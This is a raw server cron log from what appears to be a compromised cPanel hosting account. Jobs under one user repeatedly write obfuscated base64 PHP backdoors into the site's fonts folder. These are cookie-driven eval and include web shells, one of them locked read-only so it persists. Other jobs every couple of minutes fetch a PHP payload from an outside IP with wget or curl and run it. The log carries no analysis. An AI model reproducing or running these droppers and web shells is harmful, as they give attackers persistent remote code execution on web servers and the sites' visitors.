Feb 22 15:06:01 ip-184-168-122-23 CROND[32766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:06:01 ip-184-168-122-23 CROND[301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:06:01 ip-184-168-122-23 CROND[300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:06:01 ip-184-168-122-23 CROND[302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:07:01 ip-184-168-122-23 CROND[645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:07:01 ip-184-168-122-23 CROND[646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:07:01 ip-184-168-122-23 CROND[647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:07:01 ip-184-168-122-23 CROND[649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:08:01 ip-184-168-122-23 CROND[968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:08:01 ip-184-168-122-23 CROND[972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:08:01 ip-184-168-122-23 CROND[973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:08:01 ip-184-168-122-23 CROND[975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:08:01 ip-184-168-122-23 CROND[974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:09:01 ip-184-168-122-23 CROND[1289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:09:01 ip-184-168-122-23 CROND[1290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:09:01 ip-184-168-122-23 CROND[1291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:09:01 ip-184-168-122-23 CROND[1293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:09:01 ip-184-168-122-23 CROND[1292]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 15:10:01 ip-184-168-122-23 CROND[1619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 15:10:01 ip-184-168-122-23 CROND[1622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:10:01 ip-184-168-122-23 CROND[1623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:10:01 ip-184-168-122-23 CROND[1625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:10:01 ip-184-168-122-23 CROND[1629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:10:01 ip-184-168-122-23 CROND[1630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:10:01 ip-184-168-122-23 CROND[1631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:10:01 ip-184-168-122-23 CROND[1634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:11:01 ip-184-168-122-23 CROND[2087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:11:01 ip-184-168-122-23 CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:11:01 ip-184-168-122-23 CROND[2090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:11:01 ip-184-168-122-23 CROND[2091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:12:01 ip-184-168-122-23 CROND[2422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:12:01 ip-184-168-122-23 CROND[2424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:12:01 ip-184-168-122-23 CROND[2425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:12:01 ip-184-168-122-23 CROND[2426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:12:01 ip-184-168-122-23 CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:13:01 ip-184-168-122-23 CROND[2743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:13:01 ip-184-168-122-23 CROND[2745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:13:01 ip-184-168-122-23 CROND[2744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:13:01 ip-184-168-122-23 CROND[2746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:14:01 ip-184-168-122-23 CROND[3105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:14:01 ip-184-168-122-23 CROND[3106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:14:01 ip-184-168-122-23 CROND[3108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:14:01 ip-184-168-122-23 CROND[3109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:14:01 ip-184-168-122-23 CROND[3113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:15:01 ip-184-168-122-23 CROND[3439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:15:01 ip-184-168-122-23 CROND[3440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:15:01 ip-184-168-122-23 CROND[3445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:15:01 ip-184-168-122-23 CROND[3446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:15:01 ip-184-168-122-23 CROND[3444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:15:01 ip-184-168-122-23 CROND[3447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:16:01 ip-184-168-122-23 CROND[3790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:16:01 ip-184-168-122-23 CROND[3792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:16:01 ip-184-168-122-23 CROND[3795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:16:01 ip-184-168-122-23 CROND[3797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:16:02 ip-184-168-122-23 CROND[3794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:16:02 ip-184-168-122-23 CROND[3799]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 15:17:01 ip-184-168-122-23 CROND[4117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:17:01 ip-184-168-122-23 CROND[4119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:17:01 ip-184-168-122-23 CROND[4122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:17:01 ip-184-168-122-23 CROND[4120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:18:01 ip-184-168-122-23 CROND[4423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:18:01 ip-184-168-122-23 CROND[4425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:18:01 ip-184-168-122-23 CROND[4426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
